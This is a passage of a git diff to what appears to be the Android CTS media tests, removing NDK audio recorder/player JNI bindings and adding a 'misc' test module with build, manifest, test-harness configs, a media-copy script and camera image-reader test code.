-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_GetBufferData(JNIEnv* jEnv, jobject, jfloatArray j_data) {
-    float* dataBuffer = nativeRecorder->GetRecordBuffer();
-    if (dataBuffer != 0) {
-        jEnv->SetFloatArrayRegion(j_data, 0, nativeRecorder->GetNumBufferSamples(), dataBuffer);
-    }
-}
-
-JNIEXPORT jlong JNICALL Java_com_android_ndkaudio_AudioRecorder_GetLastSLResult(JNIEnv*, jobject) {
-    return lastSLResult;
-}
-
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_ClearLastSLResult(JNIEnv*, jobject) {
-    lastSLResult = 0;
-}
-
-} // extern "C"
diff --git a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.h b/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.h
deleted file mode 100644
index 98a2932..0000000
--- a/tests/tests/media/libndkaudio/com_android_ndkaudio_AudioRecorder.h
+++ /dev/null
@@ -1,109 +0,0 @@
-/* DO NOT EDIT THIS FILE - it is machine generated */
-#include <jni.h>
-/* Header for class com_android_ndkaudio_AudioRecorder */
-
-#ifndef _Included_com_android_ndkaudio_AudioRecorder
-#define _Included_com_android_ndkaudio_AudioRecorder
-#ifdef __cplusplus
-extern "C" {
-#endif
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    Create
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Create
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    Destroy
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Destroy
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    RealizeRecorder
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_RealizeRecorder
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    RealizeRoutingProxy
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_RealizeRoutingProxy
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    Start
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Start
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    Stop
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_Stop
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    GetRoutingInterface
- * Signature: ()Landroid/media/AudioRouting;
- */
-JNIEXPORT jobject JNICALL Java_com_android_ndkaudio_AudioRecorder_GetRoutingInterface
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    ReleaseRoutingInterface
- * Signature: (Landroid/media/AudioRouting;)V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_ReleaseRoutingInterface
-  (JNIEnv*, jobject, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    GetNumBufferFrames
- * Signature: ()I
- */
-JNIEXPORT jint JNICALL Java_com_android_ndkaudio_AudioRecorder_GetNumBufferFrames
-  (JNIEnv *, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    GetBufferData
- * Signature: ([F)V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_GetBufferData
-  (JNIEnv *, jobject, jfloatArray);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    GetLastSLResult
- * Signature: ()J
- */
-JNIEXPORT jlong JNICALL Java_com_android_ndkaudio_AudioRecorder_GetLastSLResult
-  (JNIEnv*, jobject);
-
-/*
- * Class:     com_android_ndkaudio_AudioRecorder
- * Method:    ClearLastSLResult
- * Signature: ()V
- */
-JNIEXPORT void JNICALL Java_com_android_ndkaudio_AudioRecorder_ClearLastSLResult
-  (JNIEnv*, jobject);
-
-#ifdef __cplusplus
-}
-#endif
-#endif
diff --git a/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioPlayer.java b/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioPlayer.java
deleted file mode 100644
index f9cd109..0000000
--- a/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioPlayer.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.ndkaudio;
-
-import android.media.AudioRouting;
-
-public class AudioPlayer {
-    public AudioPlayer() {
-        Create();
-    }
-
-    public native void Create();
-    public native void Destroy();
-
-    public native void RealizePlayer();
-    public native void RealizeRoutingProxy();
-
-    public native void Start();
-    public native void Stop();
-
-    public native AudioRouting GetRoutingInterface();
-
-    public native void ReleaseRoutingInterface(AudioRouting proxyObj);
-
-    public native long GetLastSLResult();
-    public native void ClearLastSLResult();
-}
diff --git a/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioRecorder.java b/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioRecorder.java
deleted file mode 100644
index 52d20c4..0000000
--- a/tests/tests/media/libndkaudio/src/com/android/ndkaudio/AudioRecorder.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.ndkaudio;
-
-import android.media.AudioRouting;
-
-public class AudioRecorder {
-    public AudioRecorder() {
-        Create();
-    }
-
-    public native void Create();
-    public native void Destroy();
-
-    public native void RealizeRecorder();
-    public native void RealizeRoutingProxy();
-
-    public native void Start();
-    public native void Stop();
-
-    public native AudioRouting GetRoutingInterface();
-    public native void ReleaseRoutingInterface(AudioRouting proxyObj);
-
-    public native int GetNumBufferSamples();
-    public native void GetBufferData(float[] dstBuff);
-
-    public native long GetLastSLResult();
-    public native void ClearLastSLResult();
-}
diff --git a/tests/tests/media/misc/Android.bp b/tests/tests/media/misc/Android.bp
new file mode 100644
index 0000000..feaabe4
--- /dev/null
+++ b/tests/tests/media/misc/Android.bp
@@ -0,0 +1,113 @@
+// Copyright (C) 2008 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_license", // CC-BY
+    ],
+}
+
+cc_test_library {
+    name: "libctsmediamisc_jni",
+    srcs: [
+        "jni/AImageReaderCts.cpp",
+        "jni/native-media-jni.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libcamera2ndk",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libEGL",
+    ],
+    header_libs: ["liblog_headers"],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+}
+
+android_test {
+    name: "CtsMediaMiscTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctsmediautil",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "ctstestserver",
+        "cts-media-common",
+        "junit",
+        "junit-params",
+        "testng",
+        "truth-prebuilt",
+        "mockito-target-minus-junit4",
+        "androidx.heifwriter_heifwriter",
+        "CtsCameraUtils",
+    ],
+    jni_libs: [
+        "libctscodecutils_jni",
+        "libctsmediamisc_jni",
+        "libctsmediacommon_jni",
+        "libnativehelper_compat_libc++",
+    ],
+    asset_dirs: ["assets"],
+    resource_dirs: ["res"],
+    aaptflags: [
+        "--auto-add-overlay",
+
+        // Do not compress these files:
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
+    // This test uses private APIs
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base",
+        "android.test.runner",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/misc/AndroidManifest.xml b/tests/tests/media/misc/AndroidManifest.xml
new file mode 100644
index 0000000..9b02586
--- /dev/null
+++ b/tests/tests/media/misc/AndroidManifest.xml
@@ -0,0 +1,119 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2009 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.misc.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="31"/>
+
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"/>
+    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <uses-permission android:name="android.permission.VIBRATE"/>
+
+    <application
+         android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
+
+        <activity android:name="android.media.misc.cts.MediaSessionTestActivity"
+             android:label="MediaSessionTestActivity"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+        <activity android:name="android.media.misc.cts.FaceDetectorStub"
+             android:label="FaceDetectorStub"/>
+        <activity android:name="android.media.misc.cts.ResourceManagerStubActivity"
+             android:label="ResourceManagerStubActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+        <activity android:name="android.media.misc.cts.ResourceManagerTestActivity1"
+             android:label="ResourceManagerTestActivity1"
+             android:process=":mediaCodecTestProcess1">
+        </activity>
+        <activity android:name="android.media.misc.cts.ResourceManagerTestActivity2"
+             android:label="ResourceManagerTestActivity2"
+             android:process=":mediaCodecTestProcess2">
+        </activity>
+        <activity android:name="android.media.misc.cts.MockActivity"/>
+        <activity android:name="android.media.misc.cts.MediaRouter2TestActivity"/>
+        <service android:name="android.media.misc.cts.StubMediaBrowserService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.media.browse.MediaBrowserService"/>
+            </intent-filter>
+        </service>
+        <service android:name="android.media.misc.cts.StubMediaSession2Service"
+             android:permission="android.media.misc.cts"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.media.MediaSession2Service"/>
+            </intent-filter>
+        </service>
+        <service android:name=".StubMediaRoute2ProviderService"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.media.MediaRoute2ProviderService"/>
+            </intent-filter>
+        </service>
+        <service android:name="android.media.misc.cts.MediaButtonReceiverService"
+             android:exported="true"/>
+        <service android:name=".MediaBrowserServiceTestService"
+             android:process=":mediaBrowserServiceTestService"/>
+        <service android:name=".MediaSessionTestService"
+             android:process=":mediaSessionTestService"/>
+        <receiver android:name="android.media.misc.cts.MediaButtonBroadcastReceiver"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.misc.cts"
+         android:label="CTS tests of android.media">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
new file mode 100644
index 0000000..96f7b81
--- /dev/null
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaMiscTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
+        <option name="version" value="9.0_r1"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMiscTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
+        <option name="dynamic-config-module" value="CtsMediaMiscTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.misc.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 30 min -->
+        <option name="test-timeout" value="1800000" />
+        <option name="runtime-hint" value="4h" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/misc/DynamicConfig.xml b/tests/tests/media/misc/DynamicConfig.xml
new file mode 100644
index 0000000..09e5fba
--- /dev/null
+++ b/tests/tests/media/misc/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-1.0.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/misc/OWNERS b/tests/tests/media/misc/OWNERS
new file mode 100644
index 0000000..72f56cf
--- /dev/null
+++ b/tests/tests/media/misc/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1344
+include platform/frameworks/av:/media/OWNERS
+etalvala@google.com
+jsharkey@android.com
diff --git a/tests/tests/media/misc/aidl/android/media/misc/cts/IRemoteService.aidl b/tests/tests/media/misc/aidl/android/media/misc/cts/IRemoteService.aidl
new file mode 100644
index 0000000..7a9a957
--- /dev/null
+++ b/tests/tests/media/misc/aidl/android/media/misc/cts/IRemoteService.aidl
@@ -0,0 +1,23 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.os.Bundle;
+
+interface IRemoteService {
+    boolean run(int testId, int step, in Bundle args);
+}
diff --git a/tests/tests/media/assets/noiseandchirps.mp3 b/tests/tests/media/misc/assets/noiseandchirps.mp3
similarity index 100%
rename from tests/tests/media/assets/noiseandchirps.mp3
rename to tests/tests/media/misc/assets/noiseandchirps.mp3
Binary files differ
diff --git a/tests/tests/media/misc/copy_media.sh b/tests/tests/media/misc/copy_media.sh
new file mode 100755
index 0000000..96f5a49
--- /dev/null
+++ b/tests/tests/media/misc/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "misc" "CtsMediaMiscTestCases-1.0"
diff --git a/tests/tests/media/misc/jni/AImageReaderCts.cpp b/tests/tests/media/misc/jni/AImageReaderCts.cpp
new file mode 100644
index 0000000..44b8a8f
--- /dev/null
+++ b/tests/tests/media/misc/jni/AImageReaderCts.cpp
@@ -0,0 +1,571 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "AImageReaderCts"
+//#define LOG_NDEBUG 0
+
+#include <jni.h>
+#include <stdint.h>
+#include <unistd.h>
+
+#include <algorithm>
+#include <mutex>
+#include <string>
+#include <vector>
+
+#include <android/log.h>
+#include <android/native_window_jni.h>
+#include <camera/NdkCameraError.h>
+#include <camera/NdkCameraManager.h>
+#include <camera/NdkCameraDevice.h>
+#include <camera/NdkCameraCaptureSession.h>
+#include <media/NdkImage.h>
+#include <media/NdkImageReader.h>
+
+//#define ALOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, LOG_TAG, __VA_ARGS__)
+//#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
+#define ALOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+#define ALOGW(...) __android_log_print(ANDROID_LOG_WARN, LOG_TAG, __VA_ARGS__)
+#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+
+namespace {
+
+static constexpr int kDummyFenceFd = -1;
+static constexpr int kCaptureWaitUs = 100 * 1000;
+static constexpr int kCaptureWaitRetry = 10;
+static constexpr int kTestImageWidth = 640;
+static constexpr int kTestImageHeight = 480;
+static constexpr int kTestImageFormat = AIMAGE_FORMAT_YUV_420_888;
+
+struct FormatUsageCombination {
+    uint64_t format;
+    uint64_t usage;
+};
+
+static constexpr FormatUsageCombination supportedFormatUsage[] = {
+    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_YUV_420_888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_JPEG, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_RARELY},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE},
+    {AIMAGE_FORMAT_RGBA_8888, AHARDWAREBUFFER_USAGE_VIDEO_ENCODE},
+    {AIMAGE_FORMAT_Y8, AHARDWAREBUFFER_USAGE_CPU_READ_OFTEN},
+};
+
+class CameraHelper {
+   public:
+    CameraHelper(ANativeWindow* imgReaderAnw) : mImgReaderAnw(imgReaderAnw) {}
+    ~CameraHelper() { closeCamera(); }
+
+    int initCamera() {
+        if (mImgReaderAnw == nullptr) {
+            ALOGE("Cannot initialize camera before image reader get initialized.");
+            return -1;
+        }
+        int ret;
+
+        mCameraManager = ACameraManager_create();
+        if (mCameraManager == nullptr) {
+            ALOGE("Failed to create ACameraManager.");
+            return -1;
+        }
+
+        ret = ACameraManager_getCameraIdList(mCameraManager, &mCameraIdList);
+        if (ret != AMEDIA_OK) {
+            ALOGE("Failed to get cameraIdList: ret=%d", ret);
+            return ret;
+        }
+        if (mCameraIdList->numCameras < 1) {
+            ALOGW("Device has no camera on board.");
+            return 0;
+        }
+
+        // We always use the first camera.
+        mCameraId = mCameraIdList->cameraIds[0];
+        if (mCameraId == nullptr) {
+            ALOGE("Failed to get cameraId.");
+            return -1;
+        }
+
+        ret = ACameraManager_openCamera(mCameraManager, mCameraId, &mDeviceCb, &mDevice);
+        if (ret != AMEDIA_OK || mDevice == nullptr) {
+            ALOGE("Failed to open camera, ret=%d, mDevice=%p.", ret, mDevice);
+            return -1;
+        }
+
+        ret = ACameraManager_getCameraCharacteristics(mCameraManager, mCameraId, &mCameraMetadata);
+        if (ret != ACAMERA_OK || mCameraMetadata == nullptr) {
+            ALOGE("Get camera %s characteristics failure. ret %d, metadata %p", mCameraId, ret,
+                  mCameraMetadata);
+            return -1;
+        }
+
+        if (!isCapabilitySupported(ACAMERA_REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE)) {
+            ALOGW("Camera does not support BACKWARD_COMPATIBLE.");
+            return 0;
+        }
+
+        // Create capture session
+        ret = ACaptureSessionOutputContainer_create(&mOutputs);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutput_create(mImgReaderAnw, &mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutput_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureSessionOutputContainer_add(mOutputs, mImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureSessionOutputContainer_add failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraDevice_createCaptureSession(mDevice, mOutputs, &mSessionCb, &mSession);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureSession failed, ret=%d", ret);
+            return ret;
+        }
+
+        // Create capture request
+        ret = ACameraDevice_createCaptureRequest(mDevice, TEMPLATE_STILL_CAPTURE, &mStillRequest);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraDevice_createCaptureRequest failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACameraOutputTarget_create(mImgReaderAnw, &mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACameraOutputTarget_create failed, ret=%d", ret);
+            return ret;
+        }
+        ret = ACaptureRequest_addTarget(mStillRequest, mReqImgReaderOutput);
+        if (ret != AMEDIA_OK) {
+            ALOGE("ACaptureRequest_addTarget failed, ret=%d", ret);
+            return ret;
+        }
+
+        mIsCameraReady = true;
+        return 0;
+    }
+
+    bool isCapabilitySupported(acamera_metadata_enum_android_request_available_capabilities_t cap) {
+        ACameraMetadata_const_entry entry;
+        ACameraMetadata_getConstEntry(
+                mCameraMetadata, ACAMERA_REQUEST_AVAILABLE_CAPABILITIES, &entry);
+        for (uint32_t i = 0; i < entry.count; i++) {
+            if (entry.data.u8[i] == cap) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    bool isCameraReady() { return mIsCameraReady; }
+
+    void closeCamera() {
+        // Destroy capture request
+        if (mReqImgReaderOutput) {
+            ACameraOutputTarget_free(mReqImgReaderOutput);
+            mReqImgReaderOutput = nullptr;
+        }
+        if (mStillRequest) {
+            ACaptureRequest_free(mStillRequest);
+            mStillRequest = nullptr;
+        }
+        // Destroy capture session
+        if (mSession != nullptr) {
+            ACameraCaptureSession_close(mSession);
+            mSession = nullptr;
+        }
+        if (mImgReaderOutput) {
+            ACaptureSessionOutput_free(mImgReaderOutput);
+            mImgReaderOutput = nullptr;
+        }
+        if (mOutputs) {
+            ACaptureSessionOutputContainer_free(mOutputs);
+            mOutputs = nullptr;
+        }
+        // Destroy camera device
+        if (mDevice) {
+            ACameraDevice_close(mDevice);
+            mDevice = nullptr;
+        }
+        if (mCameraMetadata) {
+          ACameraMetadata_free(mCameraMetadata);
+          mCameraMetadata = nullptr;
+        }
+        // Destroy camera manager
+        if (mCameraIdList) {
+            ACameraManager_deleteCameraIdList(mCameraIdList);
+            mCameraIdList = nullptr;
+        }
+        if (mCameraManager) {
+            ACameraManager_delete(mCameraManager);
+            mCameraManager = nullptr;
+        }
+        mIsCameraReady = false;
+    }
+
+    int takePicture() {
+        int seqId;
+        return ACameraCaptureSession_capture(mSession, nullptr, 1, &mStillRequest, &seqId);
+    }
+
+    static void onDeviceDisconnected(void* /*obj*/, ACameraDevice* /*device*/) {}
+
